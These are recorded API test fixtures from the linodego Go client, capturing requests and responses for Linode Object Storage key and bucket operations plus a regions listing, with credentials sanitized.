X-Ratelimit-Limit: - "1600" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestObjectStorageKey_List.yaml000066400000000000000000000202321474652371000325060ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"go-test-def"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys method: POST response: body: '{"id": 1654585, "label": "go-test-def", "access_key": "[SANITIZED]", "secret_key": "[SANITIZED]", "limited": false, "bucket_access": null, "regions": [{"id": "ap-south", "s3_endpoint": "ap-south-1.linodeobjects.com", "endpoint_type": "E0"}, {"id": "br-gru", "s3_endpoint": "br-gru-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "es-mad", "s3_endpoint": "es-mad-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "eu-central", "s3_endpoint": "eu-central-1.linodeobjects.com", "endpoint_type": "E0"}, {"id": "fr-par", "s3_endpoint": "fr-par-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "id-cgk", "s3_endpoint": "id-cgk-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "in-maa", "s3_endpoint": "in-maa-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "it-mil", "s3_endpoint": "it-mil-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "jp-osa", "s3_endpoint": "jp-osa-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "nl-ams", "s3_endpoint": "nl-ams-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "se-sto", "s3_endpoint": "se-sto-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-east", "s3_endpoint": "us-east-1.linodeobjects.com", "endpoint_type": "E0"}, {"id": "us-iad", "s3_endpoint": "us-iad-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-lax", "s3_endpoint": "us-lax-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-mia", "s3_endpoint": "us-mia-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-ord", "s3_endpoint": "us-ord-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-sea", "s3_endpoint": "us-sea-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-southeast", "s3_endpoint": "us-southeast-1.linodeobjects.com", "endpoint_type": "E0"}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:03:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys?page=1 method: GET response: body: '{"pages": 1, "page": 1, "results": 1, "data": [{"id": 1654585, "label": "go-test-def", "access_key": "[SANITIZED]", "secret_key": "[REDACTED]", "limited": false, "bucket_access": null, "regions": [{"id": "ap-south", "s3_endpoint": "ap-south-1.linodeobjects.com", "endpoint_type": "E0"}, {"id": "br-gru", "s3_endpoint": "br-gru-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "es-mad", "s3_endpoint": "es-mad-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "eu-central", "s3_endpoint": "eu-central-1.linodeobjects.com", "endpoint_type": "E0"}, {"id": "fr-par", "s3_endpoint": "fr-par-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "id-cgk", "s3_endpoint": "id-cgk-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "in-maa", "s3_endpoint": "in-maa-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "it-mil", "s3_endpoint": "it-mil-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "jp-osa", "s3_endpoint": "jp-osa-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "nl-ams", "s3_endpoint": "nl-ams-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "se-sto", "s3_endpoint": "se-sto-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-east", "s3_endpoint": "us-east-1.linodeobjects.com", "endpoint_type": "E0"}, {"id": "us-iad", "s3_endpoint": "us-iad-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-lax", "s3_endpoint": "us-lax-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-mia", "s3_endpoint": "us-mia-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-ord", "s3_endpoint": "us-ord-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-sea", "s3_endpoint": "us-sea-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-southeast", "s3_endpoint": "us-southeast-1.linodeobjects.com", "endpoint_type": "E0"}]}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:04:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys/1654585 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:04:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestObjectStorageKey_Update.yaml000066400000000000000000000201461474652371000330210ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"go-test-def"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys method: POST response: body: '{"id": 1654584, "label": "go-test-def", "access_key": "[SANITIZED]", "secret_key": "[SANITIZED]", "limited": false, "bucket_access": null, "regions": [{"id": "ap-south", "s3_endpoint": "ap-south-1.linodeobjects.com", "endpoint_type": "E0"}, {"id": "br-gru", "s3_endpoint": "br-gru-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "es-mad", "s3_endpoint": "es-mad-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "eu-central", "s3_endpoint": "eu-central-1.linodeobjects.com", "endpoint_type": "E0"}, {"id": "fr-par", "s3_endpoint": "fr-par-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "id-cgk", "s3_endpoint": "id-cgk-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "in-maa", "s3_endpoint": "in-maa-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "it-mil", "s3_endpoint": "it-mil-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "jp-osa", "s3_endpoint": "jp-osa-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "nl-ams", "s3_endpoint": "nl-ams-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "se-sto", "s3_endpoint": "se-sto-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-east", "s3_endpoint": "us-east-1.linodeobjects.com", "endpoint_type": "E0"}, {"id": "us-iad", "s3_endpoint": "us-iad-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-lax", "s3_endpoint": "us-lax-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-mia", "s3_endpoint": "us-mia-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-ord", "s3_endpoint": "us-ord-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-sea", "s3_endpoint": "us-sea-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-southeast", "s3_endpoint": "us-southeast-1.linodeobjects.com", "endpoint_type": "E0"}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:03:55 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def_r"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys/1654584 method: PUT response: body: '{"id": 1654584, "label": "go-test-def_r", "access_key": "[SANITIZED]", "secret_key": "[REDACTED]", "limited": false, "bucket_access": null, "regions": [{"id": "ap-south", "s3_endpoint": "ap-south-1.linodeobjects.com", "endpoint_type": "E0"}, {"id": "br-gru", "s3_endpoint": "br-gru-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "es-mad", "s3_endpoint": "es-mad-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "eu-central", "s3_endpoint": "eu-central-1.linodeobjects.com", "endpoint_type": "E0"}, {"id": "fr-par", "s3_endpoint": "fr-par-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "id-cgk", "s3_endpoint": "id-cgk-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "in-maa", "s3_endpoint": "in-maa-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "it-mil", "s3_endpoint": "it-mil-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "jp-osa", "s3_endpoint": "jp-osa-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "nl-ams", "s3_endpoint": "nl-ams-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "se-sto", "s3_endpoint": "se-sto-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-east", "s3_endpoint": "us-east-1.linodeobjects.com", "endpoint_type": "E0"}, {"id": "us-iad", "s3_endpoint": "us-iad-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-lax", "s3_endpoint": "us-lax-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-mia", "s3_endpoint": "us-mia-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-ord", "s3_endpoint": "us-ord-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-sea", "s3_endpoint": "us-sea-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-southeast", "s3_endpoint": "us-southeast-1.linodeobjects.com", "endpoint_type": "E0"}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:03:56 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys/1654584 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:03:57 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestObjectStorageKeys_Limited.yaml000066400000000000000000000073301474652371000333510ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"go-test-def","bucket_access":[{"cluster":"us-east-1","region":"us-east","bucket_name":"go-bucket-test-def","permissions":"read_only"},{"cluster":"us-east-1","region":"us-east","bucket_name":"go-bucket-test-def","permissions":"read_write"}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys method: POST response: body: '{"id": 1654586, "label": "go-test-def", "access_key": "[SANITIZED]", "secret_key": "[SANITIZED]", "limited": true, "bucket_access": [{"cluster": "us-east-1", "bucket_name": "go-bucket-test-def", "permissions": "read_only", "region": "us-east"}, {"cluster": "us-east-1", "bucket_name": "go-bucket-test-def", "permissions": "read_write", "region": "us-east"}], "regions": [{"id": "us-east", "s3_endpoint": "us-east-1.linodeobjects.com", "endpoint_type": "E0"}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "497" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:04:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys/1654586 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:04:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestObjectStorageKeys_Limited_Bucket.yaml000066400000000000000000000065351474652371000345750ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"region":"us-east","label":"go-bucket-test-def"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets method: POST response: body: '{"hostname": "go-bucket-test-def.us-east-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "region": "us-east", "cluster": "us-east-1", "size": 0, "objects": 0, "endpoint_type": "E0", "s3_endpoint": "us-east-1.linodeobjects.com"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "266" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:04:03 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:04:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestObjectStorageKeys_Regional_Limited.yaml000066400000000000000000001137301474652371000351140ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17,172.232.0.16,172.232.0.21,172.232.0.13,172.232.0.22,172.232.0.9,172.232.0.19,172.232.0.20,172.232.0.15,172.232.0.18", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21,172.232.32.23,172.232.32.17,172.232.32.18,172.232.32.16,172.232.32.22,172.232.32.20,172.232.32.14,172.232.32.11,172.232.32.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19,172.232.160.21,172.232.160.17,172.232.160.15,172.232.160.18,172.232.160.8,172.232.160.12,172.232.160.11,172.232.160.14,172.232.160.16", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4,172.233.0.9,172.233.0.7,172.233.0.12,172.233.0.5,172.233.0.13,172.233.0.10,172.233.0.6,172.233.0.8,172.233.0.11", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36,172.233.33.38,172.233.33.35,172.233.33.39,172.233.33.34,172.233.33.33,172.233.33.31,172.233.33.30,172.233.33.37,172.233.33.32", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24,172.232.128.26,172.232.128.20,172.232.128.22,172.232.128.25,172.232.128.19,172.232.128.23,172.232.128.18,172.232.128.21,172.232.128.27", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": 